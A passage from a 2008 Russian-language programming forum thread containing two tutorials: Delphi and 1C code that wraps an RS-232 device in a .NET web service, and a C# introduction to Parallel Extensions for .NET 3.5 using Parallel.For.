Windows.ReadFile(FHandle, Fbuf, 8, FCount, @FOverlapped); //читаем ответ устройства
y := Fbuf[0];
m := Fbuf[1];
d := Fbuf[2];
h := Fbuf[3];
m := Fbuf[4];
s := Fbuf[5];
result.DT := EncodeDateTime(y, m, d, h, m, s, 0); //возвращаем результат в удобном, красивом виде
result.ch1 := Fbuf[6];
result.ch2 := Fbuf[7];
end;
function GetData(Sector: integer): TRec; //функция которой будет пользоваться 1С
begin
WriteGetData(Sector);
result := ReadGetData;
end;
теперь нам предстоит модернизировать всё это дело под веб сервис с помощью .net
Код:
//в uses добавились модули net
uses {.NET MODULS}
System.Collections,
System.ComponentModel,
System.Data,
System.Diagnostics,
System.Web,
System.Web.Services,
Borland.Vcl.SysUtils,
Borland.Vcl.Variants,
//типы и переменные остаються теми же
type
TRec = record //объекты этого типа нам необходимо будет передават потом в 1С
DT: TDateTime; //время события
ch1: integer; //два свойства события...
ch2: integer;
end;
[WebMethod] //объявляем этот метов вебом... т.е. чтобы он был доступен
function GetData(Sector: integer): TRec;
{ВСЁ ОСТАЛЬНОЕ ТАК ЖЕ... ЬЕЗ КАКИХ ЛИБО ИЗМЕНЕНИЙ}
теперь запускаем веб сервис, и уже можно обращяться к нему ... открываеи браузер пищем свой локальный адрес 127.0.0.1
и вуаля... что мы видим, а видим мы тот самый метод... и даже можеи его вызывать, мало того, так ещё и ответ в XML-ке получаем.
вот так вот мы и примирили RS-232 и HTTP. но как вы помните задача первонапчальная стояла совсем другая...
вот код 1С для обращения к веб сервису
Код:
Определения = Новый WSОпределения(АдресВебСервиса);
ВебПрокси = Новый WSПрокси(Определения, Определения.Сервисы[0].URIПространстваИмен,Определения.Сервисы [0].Имя,Определения.Сервисы[0].ТочкиПодключения[0].Имя);
Результат = ВебПрокси.GetData(Номер сектора);
//обращаемся к методу веб сервиса
//и получаем результат типа TRec т.к. типы которые используются веб сервисом
//импортируються в 1С автоматически.
Итог
в итоге мы получаем следующую картину: 1С общаеться с внешним устройством (подключеным к ком порту) через веб сервис, это даёт возможность работать с данным устройством всем рабочим станциям в сети (но при этом в коде после обращения к девайсу нужно закрывать ком порт)
Последний раз редактировалось dos999; 02.07.2008 в 19:30..
|
|
|

11.07.2008, 16:13
|
|
Новичок
Регистрация: 03.07.2007
Сообщений: 18
Провел на форуме: 98311
Репутация:
28
|
|
Параллельные вычисления в Microsoft Visual C# (NET Framework 3.5)
На сегодняшний день развитие индустрии компьютеростроения идет широкими шагами. Растут объемы оперативной памяти, частоты работы процессоров, количество процессоров и их ядер. Не секрет, что даже самый маленький процессор сегодняшнего дня производительностью превосходит процессоры для серверных платформ дня вчерашнего. Но зачастую гигагерцы процессоров и гигабайты оперативной памяти сводятся на нет невозможностью современного софта использовать аппаратные ресурсы на 100%.
Это понимают и производители программного обеспечения и производители «Железа», стремясь разработать технологию позволяющую «нагрузить» компьютер по «полной». Сегодня мы рассмотрим одно из таких решений.
1) Библиотека Parallel Extensions to .NET Framework 3.5 от фирмы Microsoft corp. (Подробнее о ней можно почитать в MSDN выпуск - October 2007).
Итак, для экспериментов нам понадобятся: (Ссылки на программы даны в конце статьи)
1) Microsoft Windows XP или Vista…
2) Microsoft .NET Framework 3.5 (Входит в комплект поставки Visual Studio 2008/2008 Express Edition)
3) Visual Studio 2008 Express Edition.
4) Библиотека Parallel Extensions to .NET Framework 3.5.
Parallel Extensions to .NET Framework 3.5
Скачиваем и устанавливаем библиотеку Parallel Extensions to .NET Framework 3.5. Запускаем Visual Studio и создаем консольный проект на C# for .NET. Щелкаем на вкладке References нашего проекта и выбираем Add Reference. Далее во вкладке Browse находим библиотеку System.Threading.dll (По-умолчанию -> c:\Program Files\Microsoft Parallel Extensions Dec07 CTP\). В редакторе кода дописываем:
Код:
using System.Threading;
using System.Runtime.InteropServices;
Теперь наш проект готов для работы на нескольких ядрах. Осталось применить что-нибудь этакое для наглядности. Для начала удостоверимся, что ядер действительно несколько:
Код:
if (System.Environment.ProcessorCount < 2)
{
Console.WriteLine("You not have Multi-Core platform\n");
}
Выведем меню, будем грузить 1 ядро и потом 2…
Код:
Console.WriteLine("If you want test Single-Core platform press 1");
Console.WriteLine("If you want test Mullti-Core platform press 2");
r = Console.ReadLine();
Поможет нам старый добрый switch. Сначала грузим 1 ядро:
Код:
switch(r)
{
case "1":
for (int i = 0; i < 100000; i++)
{
Console.WriteLine("{0} > {1}", Math.Pow(i, 2.0).ToString(),
Math.Pow(i, -2.0).ToString());
}
break;
Откройте «Диспетчер задач» и посмотрите наглядно, как загружено 1 ядро…
А теперь распараллелим вычисления:
Код:
case "2":
System.Threading.Parallel.For(0, 100000, delegate(int i)
{
Console.WriteLine("{0} <-> {1}",
Math.Pow(i, 2.0).ToString(), Math.Pow(i, -2.0).ToString());
});
break;
default:
{
Console.WriteLine("Error number");
break;
}
Откройте «Диспетчер задач» и посмотрите наглядно, как загружен процессор сейчас!
Вот мы с вами и научились писать распределенные приложения, балансируя нагрузку на CPU компьютера с помощью Parallel Extensions to .NET Framework 3.5.
В следующей статье мы рассмотрим, написание многопоточных приложений без использования .NET Framework с помощью библиотеки Intel® TBB (Threading Building Blocks) – кроссплатформенная библиотека для параллельных вычислений от фирмы Intel.
Parallel Extensions to .NET Framework 3.5
Последний раз редактировалось merax; 11.07.2008 в 17:09..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|